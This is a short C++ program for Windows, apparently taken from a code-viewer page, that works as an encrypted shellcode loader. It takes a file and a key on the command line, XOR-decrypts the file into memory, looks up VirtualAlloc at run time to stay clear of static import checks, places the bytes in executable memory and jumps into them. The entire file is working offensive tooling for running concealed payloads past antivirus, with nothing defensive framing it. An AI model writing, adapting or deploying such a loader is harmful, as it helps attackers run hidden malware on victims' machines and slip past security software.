1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| #include <windows.h>
#include <AXorPlus.h>
LPVOID NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
typedef LPVOID(WINAPI * Fn_VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
auto hmodule = GetModuleHandleW(L"kernel32.dll");
if (hmodule == NULL)
{
hmodule = LoadLibraryW(L"kernel32.dll");
}
auto fn = (Fn_VirtualAlloc)GetProcAddress(hmodule, "VirtualAlloc");
if (fn == NULL)
{
return NULL;
}
return fn(lpAddress, dwSize, flAllocationType, flProtect);
}
int main(int argc, char *argv[])
{
AXorPlus xorPlus{};
if (argc < 3)
{
std::cout << "Usage: " << argv[0] << " <file> <key>" << std::endl;
return 1;
}
auto filePath = argv[1];
auto key = argv[2];
std::string output;
std::cout << "Decrypting " << filePath << " with key " << key << std::endl;
xorPlus.XOR2Memory(filePath, output, key, 0);
std::cout << "Decrypted generated successfully" << std::endl;
const auto decryptedData = reinterpret_cast<const char *>(output.c_str());
auto size = output.size();
PVOID mem = NewVirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::cout << "Allocated memory at " << mem << std::endl;
if (mem == NULL)
{
return 1;
}
memcpy(mem, decryptedData, size);
((void (*)())mem)();
return 0;
}
|